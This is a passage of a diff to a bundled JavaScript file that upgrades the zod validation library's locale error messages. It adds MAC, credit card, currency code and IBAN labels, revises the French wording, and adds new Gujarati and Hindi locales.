error12 = () => { }; function es_default() { return { - localeError: error12() + localeError: error14() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fa.js -var error13 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fa.js +var error15 = () => { const Sizable = { string: { unit: "\u06A9\u0627\u0631\u0627\u06A9\u062A\u0631", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, file: { unit: "\u0628\u0627\u06CC\u062A", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, array: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, - set: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" } + set: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, + map: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -52667,12 +53957,16 @@ var error13 = () => { duration: "\u0645\u062F\u062A \u0632\u0645\u0627\u0646 \u0627\u06CC\u0632\u0648", ipv4: "IPv4 \u0622\u062F\u0631\u0633", ipv6: "IPv6 \u0622\u062F\u0631\u0633", + mac: "MAC \u0622\u062F\u0631\u0633", cidrv4: "IPv4 \u062F\u0627\u0645\u0646\u0647", cidrv6: "IPv6 \u062F\u0627\u0645\u0646\u0647", base64: "base64-encoded \u0631\u0634\u062A\u0647", base64url: "base64url-encoded \u0631\u0634\u062A\u0647", json_string: "JSON \u0631\u0634\u062A\u0647", e164: "E.164 \u0639\u062F\u062F", + credit_card: "\u0634\u0645\u0627\u0631\u0647 \u06A9\u0627\u0631\u062A \u0627\u0639\u062A\u0628\u0627\u0631\u06CC", + currency_code: "\u06A9\u062F \u0627\u0631\u0632", + iban: "IBAN", jwt: "JWT", template_literal: "\u0648\u0631\u0648\u062F\u06CC" }; @@ -52746,17 +54040,18 @@ var error13 = () => { }; function fa_default() { return { - localeError: error13() + localeError: error15() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fi.js -var error14 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fi.js +var error16 = () => { const Sizable = { string: { unit: "merkki\xE4", subject: "merkkijonon" }, file: { unit: "tavua", subject: "tiedoston" }, array: { unit: "alkiota", subject: "listan" }, set: { unit: "alkiota", subject: "joukon" }, + map: { unit: "alkiota", subject: "kuvauksen" }, number: { unit: "", subject: "luvun" }, bigint: { unit: "", subject: "suuren kokonaisluvun" }, int: { unit: "", subject: "kokonaisluvun" }, @@ -52786,12 +54081,16 @@ var error14 = () => { duration: "ISO-kesto", ipv4: "IPv4-osoite", ipv6: "IPv6-osoite", + mac: "MAC-osoite", cidrv4: "IPv4-alue", cidrv6: "IPv6-alue", base64: "base64-koodattu merkkijono", base64url: "base64url-koodattu merkkijono", json_string: "JSON-merkkijono", e164: "E.164-luku", + credit_card: "luottokortin numero", + currency_code: "valuuttakoodi", + iban: "IBAN", jwt: "JWT", template_literal: "templaattimerkkijono" }; @@ -52859,12 +54158,12 @@ var error14 = () => { }; function fi_default() { return { - localeError: error14() + localeError: error16() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fr.js -var error15 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fr.js +var error17 = () => { const Sizable = { string: { unit: "caract\xE8res", verb: "avoir" }, file: { unit: "octets", verb: "avoir" }, @@ -52875,7 +54174,7 @@ var error15 = () => { return Sizable[origin] ?? null; } const FormatDictionary = { - regex: "entr\xE9e", + regex: "expression r\xE9guli\xE8re", email: "adresse e-mail", url: "URL", emoji: "emoji", @@ -52895,17 +54194,21 @@ var error15 = () => { duration: "dur\xE9e ISO", ipv4: "adresse IPv4", ipv6: "adresse IPv6", + mac: "adresse MAC", cidrv4: "plage IPv4", cidrv6: "plage IPv6", - base64: "cha\xEEne encod\xE9e en base64", - base64url: "cha\xEEne encod\xE9e en base64url", - json_string: "cha\xEEne JSON", - e164: "num\xE9ro E.164", + base64: "cha\xEEne de caract\xE8res encod\xE9e en base64", + base64url: "cha\xEEne de caract\xE8res encod\xE9e en base64url", + json_string: "cha\xEEne de caract\xE8res JSON", + e164: "num\xE9ro au format E.164", + credit_card: "num\xE9ro de carte de cr\xE9dit", + currency_code: "code de devise", + iban: "IBAN", jwt: "JWT", template_literal: "entr\xE9e" }; const TypeDictionary = { - string: "cha\xEEne", + string: "cha\xEEne de caract\xE8res", number: "nombre", int: "entier", boolean: "bool\xE9en", @@ -52919,11 +54222,11 @@ var error15 = () => { array: "tableau", object: "objet", tuple: "tuple", - record: "enregistrement", - map: "carte", + record: "record", + map: "map", set: "ensemble", file: "fichier", - nonoptional: "non-optionnel", + nonoptional: "non optionnel", nan: "NaN", function: "fonction" }; @@ -52934,7 +54237,7 @@ var error15 = () => { const receivedType = parsedType(issue2.input); const received = TypeDictionary[receivedType] ?? receivedType; if (/^[A-Z]/.test(issue2.expected)) { - return `Entr\xE9e invalide : instanceof ${issue2.expected} attendu, ${received} re\xE7u`; + return `Entr\xE9e invalide : instance de ${issue2.expected} attendu, ${received} re\xE7u`; } return `Entr\xE9e invalide : ${expected} attendu, ${received} re\xE7u`; } @@ -52959,13 +54262,13 @@ var error15 = () => { case "invalid_format": { const _issue = issue2; if (_issue.format === "starts_with") - return `Cha\xEEne invalide : doit commencer par "${_issue.prefix}"`; + return `Cha\xEEne de caract\xE8res invalide : doit commencer par "${_issue.prefix}"`; if (_issue.format === "ends_with") - return `Cha\xEEne invalide : doit se terminer par "${_issue.suffix}"`; + return `Cha\xEEne de caract\xE8res invalide : doit se terminer par "${_issue.suffix}"`; if (_issue.format === "includes") - return `Cha\xEEne invalide : doit inclure "${_issue.includes}"`; + return `Cha\xEEne de caract\xE8res invalide : doit inclure "${_issue.includes}"`; if (_issue.format === "regex") - return `Cha\xEEne invalide : doit correspondre au mod\xE8le ${_issue.pattern}`; + return `Cha\xEEne de caract\xE8res invalide : doit correspondre au motif ${_issue.pattern}`; return `${FormatDictionary[_issue.format] ?? issue2.format} invalide`; } case "not_multiple_of": @@ -52985,17 +54288,18 @@ var error15 = () => { }; function fr_default() { return { - localeError: error15() + localeError: error17() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fr-CA.js -var error16 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fr-CA.js +var error18 = () => { const Sizable = { string: { unit: "caract\xE8res", verb: "avoir" }, file: { unit: "octets", verb: "avoir" }, array: { unit: "\xE9l\xE9ments", verb: "avoir" }, - set: { unit: "\xE9l\xE9ments", verb: "avoir" } + set: { unit: "\xE9l\xE9ments", verb: "avoir" }, + map: { unit: "\xE9l\xE9ments", verb: "avoir" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -53021,12 +54325,16 @@ var error16 = () => { duration: "dur\xE9e ISO", ipv4: "adresse IPv4", ipv6: "adresse IPv6", + mac: "adresse MAC", cidrv4: "plage IPv4", cidrv6: "plage IPv6", base64: "cha\xEEne encod\xE9e en base64", base64url: "cha\xEEne encod\xE9e en base64url", json_string: "cha\xEEne JSON", e164: "num\xE9ro E.164", + credit_card: "num\xE9ro de carte de cr\xE9dit", + currency_code: "code de devise", + iban: "IBAN", jwt: "JWT", template_literal: "entr\xE9e" }; @@ -53093,12 +54401,126 @@ var error16 = () => { }; function fr_CA_default() { return { - localeError: error16() + localeError: error18() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/he.js -var error17 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/gu.js +var error19 = () => { + const Sizable = { + string: { unit: "\u0A85\u0A95\u0ACD\u0AB7\u0AB0", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + file: { unit: "\u0AAC\u0ABE\u0AAF\u0A9F", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + array: { unit: "\u0A86\u0A87\u0A9F\u0AAE", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + set: { unit: "\u0A86\u0A87\u0A9F\u0AAE", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + map: { unit: "\u0A8F\u0AA8\u0ACD\u0A9F\u0ACD\u0AB0\u0AC0", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0A87\u0AA8\u0AAA\u0AC1\u0A9F", + email: "\u0A88\u0AAE\u0AC7\u0A87\u0AB2 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + url: "URL", + emoji: "\u0A87\u0AAE\u0ACB\u0A9C\u0AC0", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0AA4\u0ABE\u0AB0\u0AC0\u0A96 \u0A85\u0AA8\u0AC7 \u0AB8\u0AAE\u0AAF", + date: "ISO \u0AA4\u0ABE\u0AB0\u0AC0\u0A96", + time: "ISO \u0AB8\u0AAE\u0AAF", + duration: "ISO \u0A85\u0AB5\u0AA7\u0ABF", + ipv4: "IPv4 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + ipv6: "IPv6 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + mac: "MAC \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + cidrv4: "IPv4 \u0AB6\u0ACD\u0AB0\u0AC7\u0AA3\u0AC0", + cidrv6: "IPv6 \u0AB6\u0ACD\u0AB0\u0AC7\u0AA3\u0AC0", + base64: "base64-\u0A8F\u0AA8\u0ACD\u0A95\u0ACB\u0AA1\u0AC7\u0AA1 \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + base64url: "base64url-\u0A8F\u0AA8\u0ACD\u0A95\u0ACB\u0AA1\u0AC7\u0AA1 \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + json_string: "JSON \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + e164: "E.164 \u0AA8\u0A82\u0AAC\u0AB0", + credit_card: "\u0A95\u0ACD\u0AB0\u0AC7\u0AA1\u0ABF\u0A9F \u0A95\u0ABE\u0AB0\u0ACD\u0AA1 \u0AA8\u0A82\u0AAC\u0AB0", + currency_code: "\u0A9A\u0AB2\u0AA3 \u0A95\u0ACB\u0AA1", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0A87\u0AA8\u0AAA\u0AC1\u0A9F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F: \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${expected}, \u0AAA\u0ACD\u0AB0\u0ABE\u0AAA\u0ACD\u0AA4 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F: \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB5\u0ABF\u0A95\u0AB2\u0ACD\u0AAA: ${joinValues(issue2.values, " | ")} \u0AAE\u0ABE\u0AA7\u0ACD\u0AAF\u0AAE\u0AA5\u0AC0 \u0A8F\u0A95 \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0A96\u0AC2\u0AAC \u0AAE\u0ACB\u0A9F\u0AC1\u0A82: ${issue2.origin ?? "\u0AAE\u0AC2\u0AB2\u0ACD\u0AAF"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0A8F\u0AB2\u0ABF\u0AAE\u0AC7\u0AA8\u0ACD\u0A9F"} \u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F`; + return `\u0A96\u0AC2\u0AAC \u0AAE\u0ACB\u0A9F\u0AC1\u0A82: ${issue2.origin ?? "\u0AAE\u0AC2\u0AB2\u0ACD\u0AAF"} ${adj}${issue2.maximum.toString()} \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0A96\u0AC2\u0AAC \u0AA8\u0ABE\u0AA8\u0AC1\u0A82: ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit} \u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F`; + } + return `\u0A96\u0AC2\u0AAC \u0AA8\u0ABE\u0AA8\u0AC1\u0A82: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.prefix}" \u0AA5\u0AC0 \u0AB6\u0AB0\u0AC2 \u0AA5\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + if (_issue.format === "ends_with") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.suffix}" \u0AAA\u0AB0 \u0AB8\u0AAE\u0ABE\u0AAA\u0ACD\u0AA4 \u0AA5\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + if (_issue.format === "includes") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.includes}" \u0AB6\u0ABE\u0AAE\u0AC7\u0AB2 \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + if (_issue.format === "regex") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: \u0AAA\u0AC7\u0A9F\u0AB0\u0ACD\u0AA8 ${_issue.pattern} \u0AB8\u0ABE\u0AA5\u0AC7 \u0AAE\u0AC7\u0AB3 \u0A96\u0ABE\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AA8\u0A82\u0AAC\u0AB0: ${issue2.divisor} \u0AA8\u0ACB \u0A97\u0AC1\u0AA3\u0ABE\u0A82\u0A95 \u0AB9\u0ACB\u0AB5\u0ACB \u0A9C\u0ACB\u0A88\u0A8F`; + case "unrecognized_keys": + return `\u0A93\u0AB3\u0A96\u0AC0 \u0AB6\u0A95\u0ABE\u0AA4\u0ABE \u0AA8\u0AB9\u0AC0\u0A82 \u0AA4\u0AC7 \u0A95\u0AC0${issue2.keys.length > 1 ? "\u0A93" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} \u0AAE\u0ABE\u0A82 \u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A95\u0AC0`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AA1\u0ABF\u0AB8\u0ACD\u0A95\u0ACD\u0AB0\u0ABF\u0AAE\u0ABF\u0AA8\u0AC7\u0A9F\u0AB0 \u0AAE\u0AC2\u0AB2\u0ACD\u0AAF. \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${opts}`; + } + return "\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F"; + case "invalid_element": + return `${issue2.origin} \u0AAE\u0ABE\u0A82 \u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AAE\u0AC2\u0AB2\u0ACD\u0AAF`; + default: + return "\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F"; + } + }; +}; +function gu_default() { + return { + localeError: error19() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/he.js +var error20 = () => { const TypeNames = { string: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA", gender: "f" }, number: { label: "\u05DE\u05E1\u05E4\u05E8", gender: "m" }, @@ -53151,6 +54573,8 @@ var error17 = () => { url: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA \u05E8\u05E9\u05EA", gender: "f" }, emoji: { label: "\u05D0\u05D9\u05DE\u05D5\u05D2'\u05D9", gender: "m" }, uuid: { label: "UUID", gender: "m" }, + uuidv4: { label: "UUIDv4", gender: "m" }, + uuidv6: { label: "UUIDv6", gender: "m" }, nanoid: { label: "nanoid", gender: "m" }, guid: { label: "GUID", gender: "m" }, cuid: { label: "cuid", gender: "m" }, @@ -53164,13 +54588,18 @@ var error17 = () => { duration: { label: "\u05DE\u05E9\u05DA \u05D6\u05DE\u05DF ISO", gender: "m" }, ipv4: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA IPv4", gender: "f" }, ipv6: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA IPv6", gender: "f" }, + mac: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA MAC", gender: "f" }, cidrv4: { label: "\u05D8\u05D5\u05D5\u05D7 IPv4", gender: "m" }, cidrv6: { label: "\u05D8\u05D5\u05D5\u05D7 IPv6", gender: "m" }, base64: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D1\u05D1\u05E1\u05D9\u05E1 64", gender: "f" }, base64url: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D1\u05D1\u05E1\u05D9\u05E1 64 \u05DC\u05DB\u05EA\u05D5\u05D1\u05D5\u05EA \u05E8\u05E9\u05EA", gender: "f" }, json_string: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA JSON", gender: "f" }, e164: { label: "\u05DE\u05E1\u05E4\u05E8 E.164", gender: "m" }, + credit_card: { label: "\u05DE\u05E1\u05E4\u05E8 \u05DB\u05E8\u05D8\u05D9\u05E1 \u05D0\u05E9\u05E8\u05D0\u05D9", gender: "m" }, + currency_code: { label: "\u05E7\u05D5\u05D3 \u05DE\u05D8\u05D1\u05E2", gender: "m" }, + iban: { label: "IBAN", gender: "m" }, jwt: { label: "JWT", gender: "m" }, + template_literal: { label: "\u05E7\u05DC\u05D8", gender: "m" }, ends_with: { label: "\u05E7\u05DC\u05D8", gender: "m" }, includes: { label: "\u05E7\u05DC\u05D8", gender: "m" }, lowercase: { label: "\u05E7\u05DC\u05D8", gender: "m" }, @@ -53288,12 +54717,124 @@ var error17 = () => { }; function he_default() { return { - localeError: error17() + localeError: error20() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hr.js -var error18 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hi.js +var error21 = () => { + const Sizable = { + string: { unit: "\u0905\u0915\u094D\u0937\u0930", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + file: { unit: "\u092C\u093E\u0907\u091F\u094D\u0938", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + array: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + set: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + map: { unit: "\u092A\u094D\u0930\u0935\u093F\u0937\u094D\u091F\u093F\u092F\u093E\u0901", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0907\u0928\u092A\u0941\u091F", + email: "\u0908\u092E\u0947\u0932 \u092A\u0924\u093E", + url: "URL", + emoji: "\u0907\u092E\u094B\u091C\u0940", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0924\u093F\u0925\u093F \u0914\u0930 \u0938\u092E\u092F", + date: "ISO \u0924\u093F\u0925\u093F", + time: "ISO \u0938\u092E\u092F", + duration: "ISO \u0905\u0935\u0927\u093F", + ipv4: "IPv4 \u092A\u0924\u093E", + ipv6: "IPv6 \u092A\u0924\u093E", + mac: "MAC \u092A\u0924\u093E", + cidrv4: "IPv4 \u0936\u094D\u0930\u0947\u0923\u0940", + cidrv6: "IPv6 \u0936\u094D\u0930\u0947\u0923\u0940", + base64: "Base64-\u090F\u0928\u094D\u0915\u094B\u0921\u0947\u0921 \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + base64url: "Base64URL-\u090F\u0928\u094D\u0915\u094B\u0921\u0947\u0921 \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + json_string: "JSON \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + e164: "E.164 \u0938\u0902\u0916\u094D\u092F\u093E", + credit_card: "\u0915\u094D\u0930\u0947\u0921\u093F\u091F \u0915\u093E\u0930\u094D\u0921 \u0938\u0902\u0916\u094D\u092F\u093E", + currency_code: "\u092E\u0941\u0926\u094D\u0930\u093E \u0915\u094B\u0921", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0907\u0928\u092A\u0941\u091F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${expected}, \u092A\u094D\u0930\u093E\u092A\u094D\u0924 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0935\u093F\u0915\u0932\u094D\u092A: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u092E\u093E\u0928\u094B\u0902 \u092E\u0947\u0902 \u0938\u0947 \u090F\u0915 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u092C\u0939\u0941\u0924 \u092C\u0921\u093C\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin ?? "\u092E\u093E\u0928"} \u092E\u0947\u0902 ${adj}${issue2.maximum} ${sizing.unit} \u0939\u094B\u0902`; + return `\u092C\u0939\u0941\u0924 \u092C\u0921\u093C\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin ?? "\u092E\u093E\u0928"} ${adj}${issue2.maximum} \u0939\u094B`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u092C\u0939\u0941\u0924 \u091B\u094B\u091F\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin} \u092E\u0947\u0902 ${adj}${issue2.minimum} ${sizing.unit} \u0939\u094B\u0902`; + return `\u092C\u0939\u0941\u0924 \u091B\u094B\u091F\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin} ${adj}${issue2.minimum} \u0939\u094B`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: "${_issue.prefix}" \u0938\u0947 \u0936\u0941\u0930\u0942 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "ends_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: "${_issue.suffix}" \u092A\u0930 \u0938\u092E\u093E\u092A\u094D\u0924 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "includes") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: \u0907\u0938\u092E\u0947\u0902 "${_issue.includes}" \u0936\u093E\u092E\u093F\u0932 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "regex") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: \u092A\u0948\u091F\u0930\u094D\u0928 ${_issue.pattern} \u0938\u0947 \u092E\u0947\u0932 \u0916\u093E\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + return `\u0905\u092E\u093E\u0928\u094D\u092F ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u0902\u0916\u094D\u092F\u093E: \u092F\u0939 ${issue2.divisor} \u0915\u093E \u0917\u0941\u0923\u091C \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + case "unrecognized_keys": + return `\u0905\u092A\u0930\u093F\u091A\u093F\u0924 \u0915\u0941\u0902\u091C\u0940${issue2.keys.length > 1 ? "\u092F\u093E\u0901" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0915\u0941\u0902\u091C\u0940: ${issue2.origin} \u092E\u0947\u0902`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0921\u093F\u0938\u094D\u0915\u094D\u0930\u093F\u092E\u093F\u0928\u0947\u091F\u0930 \u092E\u093E\u0928: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${opts}`; + } + return "\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F"; + case "invalid_element": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u092E\u093E\u0928: ${issue2.origin} \u092E\u0947\u0902`; + default: + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F`; + } + }; +}; +function hi_default() { + return { + localeError: error21() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hr.js +var error22 = () => { const Sizable = { string: { unit: "znakova", verb: "imati" }, file: { unit: "bajtova", verb: "imati" }, @@ -53324,12 +54865,16 @@ var error18 = () => { duration: "ISO trajanje", ipv4: "IPv4 adresa", ipv6: "IPv6 adresa", + mac: "MAC adresa", cidrv4: "IPv4 raspon", cidrv6: "IPv6 raspon", base64: "base64 kodirani tekst", base64url: "base64url kodirani tekst", json_string: "JSON tekst", e164: "E.164 broj", + credit_card: "broj kreditne kartice", + currency_code: "kod valute", + iban: "IBAN", jwt: "JWT", template_literal: "unos" }; @@ -53411,17 +54956,18 @@ var error18 = () => { }; function hr_default() { return { - localeError: error18() + localeError: error22() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hu.js -var error19 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hu.js +var error23 = () => { const Sizable = { string: { unit: "karakter", verb: "legyen" }, 